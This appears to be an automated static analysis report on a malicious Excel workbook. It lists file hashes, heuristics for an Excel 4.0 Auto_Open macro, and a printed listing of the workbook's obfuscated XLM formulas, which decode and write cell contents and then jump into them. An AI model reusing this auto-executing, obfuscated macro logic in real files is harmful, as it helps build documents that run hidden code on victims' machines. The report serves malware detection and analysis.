Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bf545a5d66f1dce…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:34 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: ce7b4215c81c2b7ed3eb0fce13950046 SHA-1: c97b27df345737a031be40eafdcfe71605c3cb08 SHA-256: 4bf545a5d66f1dce5d59a7a934854bc8a6d13e246171168c6627167d4455c9b4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6703 bytes
SHA-256: f516491b28229fdf10135f411a7f0438b2b7da01a400661bb26e141881a040d9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  diNUkuekvK
' 0018     24 LABEL : Cell Value, String Constant - aJDMiGClj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A194 
' 0018     21 LABEL : Cell Value, String Constant - CdCPbw len=0 
' 0018     26 LABEL : Cell Value, String Constant - CGKxEimVRET len=0 
' 0018     25 LABEL : Cell Value, String Constant - DgErcWYIyE len=0 
' 0018     26 LABEL : Cell Value, String Constant - ErzswyGIBkQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - FNUEGZs len=0 
' 0018     23 LABEL : Cell Value, String Constant - gFBZQspG len=0 
' 0018     27 LABEL : Cell Value, String Constant - IDkifjnsTDKE len=0 
' 0018     25 LABEL : Cell Value, String Constant - IvcixYoQWC len=0 
' 0018     22 LABEL : Cell Value, String Constant - IyUNbja len=0 
' 0018     26 LABEL : Cell Value, String Constant - JeuReOHBlbX len=0 
' 0018     23 LABEL : Cell Value, String Constant - KupSkSZu len=0 
' 0018     23 LABEL : Cell Value, String Constant - mFhTWjnx len=0 
' 0018     24 LABEL : Cell Value, String Constant - MUJmVJNis len=0 
' 0018     25 LABEL : Cell Value, String Constant - pApcxmZsCo len=0 
' 0018     27 LABEL : Cell Value, String Constant - puDBhxTNADRJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - sRkavIHaaC len=0 
' 0018     25 LABEL : Cell Value, String Constant - vZhQAtkqGW len=0 
' 0018     21 LABEL : Cell Value, String Constant - YGvoQo len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZEoKY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  diNUkuekvK,A99,"SET.NAME("IDkifjnsTDKE",VALUE("0"))",""
'  diNUkuekvK,A101,"SET.NAME("puDBhxTNADRJ",IDkifjnsTDKE)",""
'  diNUkuekvK,A103,"SET.NAME("KupSkSZu",IDkifjnsTDKE)",""
'  diNUkuekvK,A106,"SET.NAME("vZhQAtkqGW",COUNTA(IyUNbja))",""
'  diNUkuekvK,A109,"SET.NAME("aJDMiGClj",COUNTA(MUJmVJNis))",""
'  diNUkuekvK,A114,[],""
'  diNUkuekvK,A118,"SET.NAME("ZEoKY","")",""
'  diNUkuekvK,A121,"puDBhxTNADRJ",""
'  diNUkuekvK,A126,"SET.NAME("sRkavIHaaC",HLOOKUP("*",IyUNbja,puDBhxTNADRJ,FALSE))",""
'  diNUkuekvK,A128,"gFBZQspG",""
'  diNUkuekvK,A131,"SET.NAME("mFhTWjnx",IDkifjnsTDKE)",""
'  diNUkuekvK,A136,[],""
'  diNUkuekvK,A139,"mFhTWjnx",""
'  diNUkuekvK,A144,"pApcxmZsCo",""
'  diNUkuekvK,A149,"ErzswyGIBkQ",""
'  diNUkuekvK,A152,"YGvoQo",""
'  diNUkuekvK,A157,"SET.NAME("FNUEGZs",VALUE(HLOOKUP("*",MUJmVJNis,YGvoQo,FALSE)))",""
'  diNUkuekvK,A162,"CGKxEimVRET",""
'  diNUkuekvK,A167,"ZEoKY",""
'  diNUkuekvK,A170,"KupSkSZu",""
'  diNUkuekvK,A174,NEXT(),""
'  diNUkuekvK,A176,"IvcixYoQWC",""
'  diNUkuekvK,A179,"SET.NAME("f",INT(T(FORMULA(T(ZEoKY)&"",""&T(IvcixYoQWC)))))",""
'  diNUkuekvK,A184,"JeuReOHBlbX",""
'  diNUkuekvK,A186,NEXT(),""
'  diNUkuekvK,A189,RETURN(),""
'  diNUkuekvK,A220,"SET.NAME("CdCPbw",A99)",""
'  diNUkuekvK,A224,"IyUNbja",""
'  diNUkuekvK,A228,"SET.NAME("MUJmVJNis",R72C13)",""
'  diNUkuekvK,A230,"SET.NAME("JeuReOHBlbX",235)",""
'  diNUkuekvK,A232,"SET.NAME("DgErcWYIyE",1)",""
'  diNUkuekvK,A234,CdCPbw(),""
'  diNUkuekvK,A235,HALT(),""

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